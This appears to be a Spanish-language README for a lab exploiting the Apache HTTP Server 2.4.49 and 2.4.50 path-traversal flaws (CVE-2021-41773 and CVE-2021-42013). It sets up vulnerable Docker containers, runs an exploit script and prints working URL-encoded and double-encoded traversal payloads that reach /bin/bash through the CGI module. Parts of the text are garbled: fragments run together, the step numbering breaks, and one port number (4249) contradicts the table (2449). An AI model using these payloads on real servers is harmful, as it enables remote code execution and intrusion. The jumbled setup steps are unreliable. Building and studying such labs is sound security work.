
Se encontró una falla en un cambio realizado a la normalización de rutas en Apache HTTP Server 2.4.49. Un atacante podría usar un ataque de path traversal para asignar URLs a archivos fuera de los directorios configurados por directivas tipo Alias. Si los archivos fuera de estos directorios no están protegidos por la configuración predeterminada "require all denied", estas solicitudes pueden tener éxito. Si los scripts CGI también están habilitados para esas rutas alias, esto podría permitir la ejecución remota de código. Se sabe que este problema ha sido explotado en la naturaleza. Este problema solo afecta a Apache 2.4.49 y no a versiones anteriores. El parche en Apache HTTP Server 2.4.50 fue incompleto; consulte CVE-2021-42013.
pip3 install colorama)perl hello-world que se ejecuta en los contenedoresInicie un Apache httpd vulnerable (con la configuración predeterminada) como contenedor docker/podman.
| Dockerfile | Container | Version |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
curl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| Container | Listen Port |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 seleccione el ataque contra la versión 2.4.49
1.3 python3 main.py localhost:2450
1.4 seleccione el ataque contra la versión 2.4.50
El exploit utilizará el módulo CGI de Apache httpd para permitir la ejecución de ejecutables arbitrarios mediante path traversal.
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/ está codificado en URL y equivale a ../ si se decodifica.
.%%32%658 está doblemente codificado en URL y también equivale a ../ si se decodifica.